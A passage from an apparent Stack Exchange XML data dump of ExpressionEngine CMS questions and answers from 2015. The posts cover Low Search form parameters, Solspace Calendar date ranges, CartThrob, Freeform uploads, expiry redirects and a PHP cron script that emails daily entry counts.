$100&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100|&quot;{if get:price == &quot;100|&quot;} selected{/if}&amp;gt;$100 and up&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2015-10-20T19:08:57.473" LastActivityDate="2015-10-20T20:27:40.053" Title="Possible to change encode options for each low search form?" Tags="|expresso-store|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34453" PostTypeId="2" ParentId="34449" CreationDate="2015-10-20T19:39:06.937" Score="0" Body="&lt;p&gt;Is there any way tag-based navigation would work? If so, there are a number of add-ons you could look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, and if the problems you mentioned with using the native category structure render that out of the question, then I don't have a tried and true answer. However, just thinking out loud, it seems the Relationships feature might do what you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be tricky to work out, but you might be able to set up a separate channel for your &quot;categories.&quot; Your &quot;Categories&quot; channel would have a Grid field that would include a &quot;ParentCategory&quot; field, which would be a Relationship pointing at the Categories channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this is a Grid field, you'd be able to put in as many category relationships as you want for each - thus allowing sub-&quot;categories&quot; to have as many parent &quot;categories&quot; as necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Downloads channel would also have a multi-select Relationships field pointing at your Categories channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd build your template with conditionals based on segments (holding &quot;category&quot; data) and show the Downloads entries and/or the Child &quot;category&quot; entries, as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably simplify your template considerably if it would be permissible to use a Javascript-based folding tree structure, which would allow you to output the full &quot;category&quot; structure at once rather than using conditionals to select what to show on a given pageload.&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2015-10-20T19:39:06.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34454" PostTypeId="2" ParentId="34452" CreationDate="2015-10-20T20:06:46.837" Score="2" Body="&lt;p&gt;Right now, the Encode Query setting in Low Search is installation-wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with the right setup, you should be able to run all searches with the same setting. I can't think of a reason why you'd want one search encoded and not another.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To have the price option selected in the Form tag when encoding queries, use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form query=&quot;{segment_x}&quot;}&#xA;    &amp;lt;select name=&quot;store:price&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;PRICE&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;|10&quot;{if low_search_store:price == &quot;|10&quot;} selected{/if}&amp;gt;up to $10&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;10|25&quot;{if low_search_store:price == &quot;10|25&quot;} selected{/if}&amp;gt;$10 to $25&amp;lt;/option&amp;gt;&#xA;        ...&#xA;    &amp;lt;/select&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;code&gt;{segment_x}&lt;/code&gt; points to the encoded query in the URI. If you're not encoding queries, you can use the exact same code, and remove the &lt;code&gt;query&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;the principle of parameter names and corresponding variables&lt;/a&gt; applies here just as it does for any other filter.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-10-20T20:27:40.053" LastActivityDate="2015-10-20T20:27:40.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34455" PostTypeId="1" AcceptedAnswerId="34470" CreationDate="2015-10-20T21:41:30.090" Score="0" ViewCount="33" Body="&lt;p&gt;I've searched the docs and don't see any native way to change an entry from one channel to another via a channel form. (In my case the 2 channels share the same field and status groups so this should be doable. Indeed, it is possible in the CP when editing entries.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something, or will a plugin be required here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2015-10-21T17:05:33.827" Title="Using Channel Form to change the channel of an entry" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34457" PostTypeId="2" ParentId="34447" CreationDate="2015-10-21T01:12:03.053" Score="0" Body="&lt;p&gt;(I work at Vector Media Group; we make CartThrob).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your site and product setup, you may be able to do this by using a &lt;code&gt;clear_cart&lt;/code&gt; tag followed by an &lt;code&gt;add_to_cart&lt;/code&gt; tag. These may be able to be on the same template, which you send a person to to add to your cart, or have the empty redirect to the add. This method won't work for products where you need to pass around options and such though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more reliable method that would let you handle more complexity is a simple extension that fires on &lt;code&gt;add_to_cart&lt;/code&gt;. It can remove the old product when the new one is added. Feel free to contact us if you need help making that!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-10-21T01:12:03.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34458" PostTypeId="2" ParentId="34445" CreationDate="2015-10-21T03:06:26.760" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;h2&gt;Highly suggested reading to distinguish Calendar tags:&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should only need &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; to display events for a day. No &lt;code&gt;{exp:calendar:events}&lt;/code&gt;, no embeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have this URL:&#xA;&lt;code&gt;http://example.com/calendar/events/2015/12/25&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display events on December 25th, 2015, you would need only this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;  date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;  date_range_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;  pad_short_weeks=&quot;n&quot;}&#xA;&#xA;    {events}&#xA;        // Your event data&#xA;    {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Add conditionals based on segment_X if you want something a bit more dynamic. &lt;code&gt;{current_time}&lt;/code&gt; is a late-parsed variable, however, so might not parse early enough for the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the range is &lt;em&gt;more&lt;/em&gt; than 1 day and you want to display events for each day, you would add the &lt;code&gt;{display_each_day}...{/display_each_day}&lt;/code&gt; tag pair around &lt;code&gt;{events}...{/events}&lt;/code&gt; so that Calendar loops through each day.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-10-21T03:06:26.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34460" PostTypeId="1" AcceptedAnswerId="34461" CreationDate="2015-10-21T12:35:58.563" Score="0" ViewCount="71" Body="&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHEN User searches for a random term lets say &lt;code&gt;pepe&lt;/code&gt; on my initial search page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THEN User sees the results page with lots of results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THEN User wants to filter those results by Clicking in any of the Categories filter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THEN User sees the results of &lt;code&gt;pepe&lt;/code&gt; for the specific category that he selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to do the first search and display all results independent of category. When I try to run a 2nd search on the result's page and pass the filter &lt;code&gt;category&lt;/code&gt; I don't know how to make the system remember the first query or pass the value of &lt;code&gt;search:title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Initial Search Page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;  form_attribute=&quot;search-form&quot;&#xA;  result_page=&quot;search&quot;&#xA;  collection=&quot;article&quot;&#xA;  search_mode=&quot;all&quot;&#xA;}&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;search:title&quot;/&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Results Page (UPDATED WITH WORKING CODE)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- Category filter--&amp;gt;&#xA;&#xA;&#xA;     {exp:low_search:form&#xA;            form_attribute=&quot;search-form&quot;&#xA;            result_page=&quot;search&quot;&#xA;            collection=&quot;article&quot;&#xA;            search_mode=&quot;all&quot;&#xA;            remember=&quot;search:title&quot;&#xA;            query=&quot;{segment_2}&quot;&#xA;}&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    {exp:channel:categories parent_only=&quot;yes&quot; style=&quot;linear&quot;}&#xA;        &amp;lt;button  name=&quot;category&quot; value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/button&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&#xA;&amp;lt;!-- Search Results--&amp;gt;&#xA;{exp:low_search:results&#xA;    limit=&quot;10&quot;&#xA;    query=&quot;{segment_2}&quot;&#xA;    collection=&quot;article|food&quot;&#xA;    status=&quot;open&quot;&#xA;}&#xA;  {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;  {if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6670" LastEditorUserId="6670" LastEditDate="2015-10-21T13:08:02.577" LastActivityDate="2015-10-21T13:08:02.577" Title="Low Search: Remember previous search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34461" PostTypeId="2" ParentId="34460" CreationDate="2015-10-21T12:57:31.867" Score="1" Body="&lt;p&gt;Use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;remember=&quot;&quot;&lt;/code&gt; parameter&lt;/a&gt; on the second Form tag.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Set to the names of the parameters you want to pass through to the next search without having input fields for them in the form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, instead of having the hidden input field in the second form, use &lt;code&gt;remember=&quot;search:title&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Additionally, there's a couple of things you can improve:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of using &lt;code&gt;search:title&lt;/code&gt; (the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;), try using &lt;code&gt;keywords&lt;/code&gt; (the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;). This will increase performance and is the preferred filter for free text searches.&lt;/li&gt;&#xA;&lt;li&gt;Don't add any filter parameters (like &lt;code&gt;collection&lt;/code&gt; and &lt;code&gt;search_mode&lt;/code&gt;) to your Form tag; they have no effect there. Add them to the Results tag instead. Also &lt;code&gt;search_mode&lt;/code&gt; has been superseded by &lt;code&gt;keywords:mode&lt;/code&gt; in Low Search v4.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-21T12:57:31.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34462" PostTypeId="1" AcceptedAnswerId="34481" CreationDate="2015-10-21T13:26:06.247" Score="0" ViewCount="73" Body="&lt;p&gt;I’m building a system where entries should have specific member access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a parent template that checks member group which then embeds a template specific to this and then lists entries which should only display if the current member ID matches the specified entry ID. Problem is using the ‘member_id’ or ‘logged_in_member_id’ won’t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tried a number of ways to do this but none work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly I’ve tried directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{pref_member_access}' == '{member_id}/{logged_in_member_id'}&#xA;do a thing&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next I tried embedding the id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{pref_member_access}' == '{embed:mem_id}'}&#xA;do a thing&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_page/.pref_list&quot; mem_id=&quot;{member_id}/{logged_in_member_id}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also I’ve tried with stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;mem_id&quot;}{member_id}/{logged_in_member_id}{/exp:stash:set} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These will all work and give me the correct output inside the embeded template but NOT if I try to use the output inside the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify I am not using ‘{member_id}/{logged_in_member_id}’ as I have put it in the code above, I have used either/or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I specify a member ID the conditional will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_page/.pref_list&quot; mem_id=&quot;8&quot;}&#xA;or&#xA;{exp:stash:set name=&quot;mem_id&quot;}8{/exp:stash:set}&#xA;for example &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even if I try to ‘stash’ the member ID at my master template it won’t work as a dynamic value either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you can probably ignore the stash code if you are unfamiliar with it, this isn’t really regarding that, I’m just trying to use the current logged in members ID as a dynamic value)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2015-10-21T16:30:05.377" LastActivityDate="2015-10-22T12:00:24.947" Title="Cannot use member id as dynamic conditional variable" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34463" PostTypeId="1" AcceptedAnswerId="34465" CreationDate="2015-10-21T13:36:50.810" Score="0" ViewCount="110" Body="&lt;p&gt;I am trying to get the total amount of search results available for a given search term. My results are paginated. &lt;code&gt;total_results&lt;/code&gt; Will give me the total amount displayed in the page, but I need the total amount available in all pages to say something like &quot;Your search term was found in 140 pages&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="6670" LastActivityDate="2015-10-21T15:02:34.727" Title="Low-search: How to get the total amount of search results?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34464" PostTypeId="1" CreationDate="2015-10-21T14:50:21.377" Score="0" ViewCount="53" Body="&lt;p&gt;hi I am new to Expression engine I am getting total channel entries using EE Tag :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stats channel=&quot;products&quot; site=&quot;default_site&quot;}{total_entries}{/exp:stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want a email report that gives me total no of channel entries on daily basis I can use cron job but i want to know how to do this procedure.&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2016-06-09T20:36:23.183" Title="How to send email report of total channel entries in Expression egnine on daily basis" Tags="|php|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34465" PostTypeId="2" ParentId="34463" CreationDate="2015-10-21T15:02:34.727" Score="1" Body="&lt;p&gt;Use the &lt;a href=&quot;http://ee2docs.com/add-ons/channel/channel_entries.html#absolute-results&quot; rel=&quot;nofollow&quot;&gt;native &lt;code&gt;{absolute_results}&lt;/code&gt; variable&lt;/a&gt;. This is shown in &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/examples#keywords&quot; rel=&quot;nofollow&quot;&gt;the first example&lt;/a&gt; of the docs.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-21T15:02:34.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34466" PostTypeId="2" ParentId="34430" CreationDate="2015-10-21T15:04:15.550" Score="0" Body="&lt;p&gt;The lesson to this story is that if you're upgrading CartThrob and you're getting inconsistent errors, check that the email stuff is configured correctly otherwise the checkout process hangs and you will be chasing phantom errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a staging or dev site (as the old site is still live in this case) and you just want to test but don't care if you get an email as you will be able to see all orders in the database/admin anyway, comment out this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cartthrob_emails-&amp;gt;send_email($email_content, $this-&amp;gt;order());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be around 2640 of ./system/expressionengine/third_party/cartthrob/libraries/Cartthrob_payments.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't forget to comment it back in when you switch the site or put it live.&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2015-10-21T15:04:15.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34467" PostTypeId="1" CreationDate="2015-10-21T15:26:43.237" Score="0" ViewCount="86" Body="&lt;p&gt;For some reason i can't figure this one out. We have deals on our site that are set to expire on certain dates. These deals are sent out via email, so someone could click on a link after the deal has expired. If this happens, we would like to redirect them to the main deals page. My thought was to do this one of two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the entry is &quot;closed&quot; redirect to {segment_2}. The problem is that expired entries don't automatically change to &quot;closed&quot; status. How would i do this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a conditional statement to either show page or redirect based on expiration date.. something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    status=&quot;open|featured|homepage|hidden&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;    disable=&quot;member_data|trackbacks|categories&quot;}&#xA;&#xA;    {if expiration_date &amp;lt; current_time}&#xA;        SHOW DEAL&#xA;    {/if}&#xA;&#xA;    {if expiration_date &amp;gt; current_time}&#xA;        REDIRECT TO {segment_2} &#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This isn't working either. I did a test with it to just show text based on the condition and both expired pages and live pages showed &quot;SHOW DEAL&quot;. Obviously missing something here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you have any suggestions. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6772" LastEditorUserId="3579" LastEditDate="2015-10-21T15:36:39.707" LastActivityDate="2016-05-28T03:06:11.067" Title="Redirect an Expired Page" Tags="|expire|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34468" PostTypeId="2" ParentId="34467" CreationDate="2015-10-21T15:43:28.747" Score="0" Body="&lt;p&gt;Well, what happens when you output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Expires - {expiration_date} &#xA;&#xA;Current Time - {current_time}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that output look like two values you can use comparisons with? You could use Low Nice Date to convert times and dates (I think, check the &lt;a href=&quot;http://gotolow.com/addons/low-nice-date/docs&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;), or perhaps have you looked at this addon? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/auto-expire&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/auto-expire&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks out of date, but might work still. Test it on a dev site first. And also look around devot-ee, there might be a newer version or one by a different author.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-21T15:43:28.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34469" PostTypeId="2" ParentId="34464" CreationDate="2015-10-21T16:06:49.137" Score="0" Body="&lt;p&gt;First, make a hidden template, probably in template group called &lt;strong&gt;cron&lt;/strong&gt;. For safety, you'll need to have some .htaccess rules that prevents anyone but your server from being able to reach this template. Then, in that template, turn on PHP. Here's an example to help (assuming a channel ID of 1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// get number of products&#xA;$num_of_products = ee()-&amp;gt;db-&amp;gt;select()&#xA;                           -&amp;gt;from(&quot;channel_data&quot;)&#xA;                           -&amp;gt;where(&quot;channel_id&quot;, &quot;1&quot;)&#xA;                           -&amp;gt;get()&#xA;                           -&amp;gt;num_rows();&#xA;&#xA;// use the email class to send this information out&#xA;$email_msg = &quot;Hello, we have {$num_of_products} today.&quot;;&#xA;$notify_address = &quot;your@address.com&quot;;&#xA;&#xA;ee()-&amp;gt;load-&amp;gt;library('email');&#xA;&#xA;ee()-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;ee()-&amp;gt;email-&amp;gt;mailtype = &quot;text&quot;;&#xA;ee()-&amp;gt;email-&amp;gt;from(&quot;no-reply@address.com&quot;);&#xA;ee()-&amp;gt;email-&amp;gt;to($notify_address);&#xA;ee()-&amp;gt;email-&amp;gt;subject(&quot;Daily update&quot;);&#xA;// optional&#xA;// ee()-&amp;gt;email-&amp;gt;message(entities_to_ascii($email_msg));&#xA;ee()-&amp;gt;email-&amp;gt;message($email_msg);&#xA;ee()-&amp;gt;email-&amp;gt;Send();&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, using &lt;a href=&quot;http://www.freebsd.org/cgi/man.cgi?crontab(5)&quot; rel=&quot;nofollow&quot;&gt;cron&lt;/a&gt; and &lt;a href=&quot;http://curl.haxx.se/docs/manpage.html&quot; rel=&quot;nofollow&quot;&gt;curl&lt;/a&gt;, set a cron job to curl that address once a day. Remember to set .htaccess to deny access to that template file from any requester except self (127.0.0.1). Now you can use addons like PostMaster to make this whole process much easier, but you have to purchase them. I'm giving you a raw but free answer.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-21T16:06:49.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34470" PostTypeId="2" ParentId="34455" CreationDate="2015-10-21T17:05:33.827" Score="0" Body="&lt;p&gt;Found a solution. The channel form outputs a hidden channel_id input&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;12&quot; name=&quot;channel_id&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to change that with javascript to the id of the new channel that I wanted to post to.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2015-10-21T17:05:33.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34471" PostTypeId="2" ParentId="34467" CreationDate="2015-10-21T19:10:20.883" Score="0" Body="&lt;p&gt;Well, I think your conditional is inverted. Shouldn't it be?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if expiration_date &amp;lt; current_time}&#xA;   {redirect='{segment_2}'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't test on an older version of eecms, but maybe the one you're using doesn't save the &lt;code&gt;expiration_date&lt;/code&gt; as UNIX timestamp. In this case, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{expiration_date format='%Y%m%d'}&quot; &amp;lt; &quot;{current_time format='%Y%m%d'}&quot;}&#xA;   {redirect='{segment_2}'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-10-21T23:42:28.927" LastActivityDate="2015-10-21T23:42:28.927" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34472" PostTypeId="1" CreationDate="2015-10-21T19:57:39.413" Score="0" ViewCount="90" Body="&lt;p&gt;We are using Freeform to allow users to apply for jobs, and we want to be able to allow them to send attachments (restricted to pdf or docs only).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Freeform handle multiple files with the same file name? If more than one person uploads a file called &quot;resume.pdf&quot;, for example, does the newer one overwrite the old? Or are the files sorted in such a way as to prevent this type of situation?&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2015-10-21T20:31:27.483" Title="Freeform file upload question" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34473" PostTypeId="2" ParentId="34472" CreationDate="2015-10-21T20:31:27.483" Score="2" Body="&lt;p&gt;If two files are uploaded with the same file name, the file names are adjusted so one does not overwrite the other. In testing this out, I uploaded two files called sample.pdf. The second one simply got retitled to sample1.pdf.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2015-10-21T20:31:27.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34474" PostTypeId="1" CreationDate="2015-10-21T21:18:57.087" Score="0" ViewCount="45" Body="&lt;p&gt;I am trying to use &lt;code&gt;date_range_start=&quot;today&quot;&lt;/code&gt; instead of &lt;code&gt;date_range_start=&quot;{segment_3}-{segment_4}-01&quot;&lt;/code&gt; if the user is on the current month displayed. I have this working properly for all other months except the current month. The problem is that events that have already passed are still showing up for the current month. Is there a conditional that I could use to check if it is the current month and then use &lt;code&gt;date_range_start=&quot;today&quot;&lt;/code&gt; in that case? Below is the loop that I am using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;    date_range_start=&quot;{segment_3}-{segment_4}-01&quot;&#xA;    date_range_end=&quot;{segment_3}-{segment_4}-last&quot; &#xA;    show_months=&quot;1&quot; &#xA;    show_future_entries=&quot;yes&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    event_limit=&quot;3&quot; &#xA;    paginate=&quot;bottom&quot; &#xA;    pad_short_weeks=&quot;n&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6668" LastEditorUserId="3579" LastEditDate="2015-10-22T00:44:30.710" LastActivityDate="2015-10-22T10:35:22.493" Title="Conditional to use date_range_start=&quot;today&quot; instead of date_range_start=&quot;{segment_3}-{segment_4}-01&quot; in {exp:calendar:cal} loop" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
